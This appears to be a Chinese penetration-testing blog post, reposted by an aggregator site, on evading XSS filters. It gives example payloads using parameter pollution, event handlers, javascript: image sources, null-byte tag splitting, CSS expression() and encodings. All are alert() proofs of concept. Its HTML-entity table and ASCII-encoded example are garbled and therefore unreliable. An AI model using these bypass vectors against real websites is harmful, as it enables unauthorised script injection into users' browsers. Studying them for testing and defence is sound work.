关于XSS绕过的一些见解

Posted 蘑菇安全小组

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了关于XSS绕过的一些见解相关的知识,希望对你有一定的参考价值。

关于XSS绕过的一些见解

无论工作中还是个人的渗透中,都会遇到各种各样的XSS漏洞,包括修复漏洞后的测试,都会遇到各种各样的防护机制,于是想写出一点思路,希望对大家有点思路上的帮助。

XSS形成原因是:输入什么,便输出什么。所以,输入点和输出点都很重要。

 

1.从输入点角度来说:

A.我们从客户端向服务器传递参数值主要无非三种方式:Get、POST、Cookie。当使用其中一种方式传递XSS的payload时,会被防护机制直接过滤掉,如我们使用Get方式:“http://ip/目录1/目录2/目录3/GetTreeXml.aspx?TreeCode=SiteTree"'></script><script>alert(1)</script>&RootID=-&ReplaceCode=&ButtonAlign=left&SelectNodeType=None&SelectRelation=0&IsRoot=0&CacheData=1&IsCookie=0”,

直接会被防御机制PASS掉,这时候可以使用POST方式或者Cookie方式,亲测有效,当然其他传递参数的方式大家也可以试试,反正我没试过。

B.利用参数污染的漏洞,比如我的get请求是这样的“http://ip/index.jsp?User=111&User=></script><script>alert(1)</script>&Pwd=123”,这时候后台处理机制可能会检查第一个User参数,但是使用的却是第二个User参数,这时候咱们就可以绕过防御造成XSS。当然,还有几种参数污染情况,比如检查第二个User参数,却使用第一个User参数,又比如把两个参数组合起来。

 

2.从输出点考虑来说

输出的位置无非就是几种(红色表示我们输出的payload):

JS代码中;     例如:<script>alert(1)</script>

CSS中;        

html中;       例如:<p><script>alert(1)</script></p>

标签的属性中;  例如:<input id=user1 value=onclilk=alert(1)>//<>

所以我们需要针对不同的输出点,构造padyload,以下有部分思路(部分引用):

闭合标签,单双引号(不解释)

绕过单引号

使用“/”                    

使用如下HTML预留编码:      

"  "  "  双引号 

&  &  &   &符号 

<  <   <  小于号 

>  >   >  大于号   

绕过 SCRIPT 过滤

1>利用事件                                                         

<BODY onload="alert('XSS')">                                     

<IMG SRC="" onerror="alert('XSS')">                             

2>使用 IMG 源                                                     

<IMG SRC=javascript:alert("XSS")>                      

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>        

3>使用charcode                                                      

4>使用ascii码                                                      

<IMG                                                             

SRC=javascript:& #97; le rt('XSS')>

3>使用制表符 换行符和回车符

 

4>使用空白符

<SCR%00IPT>alert("XSS")</SCRIPT>

5>利用双引号配对bug

 

绕过css过滤器

<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> 

 <STYLE> a { width: expression(alert('XSS')) } </STYLE> 

<DIV STYLE="width: expression(alert('XSS'));">

各种编码:例如UTF7编码、URL编码、base64等,需多做测试。

替换。如我们常用的alert()函数可能会被过滤,还可以使用prompt()

confirm()

 

总结:思路就这么多,综合运用才是王道。

 

您的关注就是对我们的支持与信任!



以上是关于关于XSS绕过的一些见解的主要内容,如果未能解决你的问题,请参考以下文章

我是如何黑盒测试XSS漏洞的?

我是如何黑盒测试XSS漏洞的?

XSS小技巧绕过云WAF

XSS 绕过技术

绕过某通用信息管理系统实现XSS

浅谈XSS绕过姿势